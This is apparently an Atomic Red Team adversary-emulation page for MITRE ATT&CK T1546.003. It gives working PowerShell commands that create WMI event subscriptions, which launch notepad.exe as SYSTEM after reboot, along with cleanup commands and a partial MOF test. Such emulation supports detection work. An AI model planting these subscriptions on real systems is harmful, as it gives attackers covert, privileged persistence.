# T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription

## Description from ATT&CK

> Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
> 
> Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe`  –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)
> 
> WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

[Source](https://attack.mitre.org/techniques/T1546/003)

## Atomic Tests

- [Atomic Test #1: Persistence via WMI Event Subscription - CommandLineEventConsumer](#atomic-test-1-persistence-via-wmi-event-subscription---commandlineeventconsumer)
- [Atomic Test #2: Persistence via WMI Event Subscription - ActiveScriptEventConsumer](#atomic-test-2-persistence-via-wmi-event-subscription---activescripteventconsumer)
- [Atomic Test #3: Windows MOFComp.exe Load MOF File](#atomic-test-3-windows-mofcompexe-load-mof-file)

### Atomic Test #1: Persistence via WMI Event Subscription - CommandLineEventConsumer

Run from an administrator powershell window. After running, reboot the victim machine.
After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545

**Supported Platforms:** Windows

**auto_generated_guid:** `3c64f177-28e2-49eb-a799-d767b24dd1e0`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
```

#### Cleanup Commands

```powershell
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```
### Atomic Test #2: Persistence via WMI Event Subscription - ActiveScriptEventConsumer

Run from an administrator powershell window. After running, reboot the victim machine.
After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c

**Supported Platforms:** Windows

**auto_generated_guid:** `fecd0dfd-fb55-45fa-a10b-6250272d0832`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                ScriptingEngine='VBScript';
                ScriptText='
                Set objws = CreateObject("Wscript.Shell")
                objws.Run "notepad.exe", 0, True
                '}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs
```

#### Cleanup Commands

```powershell
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```
### Atomic Test #3: Windows MOFComp.exe Load MOF File

The following Atomic will utilize MOFComp.exe to load a local MOF file.
The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. 
To query for the class:  gwmi __eventfilter -namespace root\subscription
A successful execution will add the class to WMI root namespace.
Reference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and http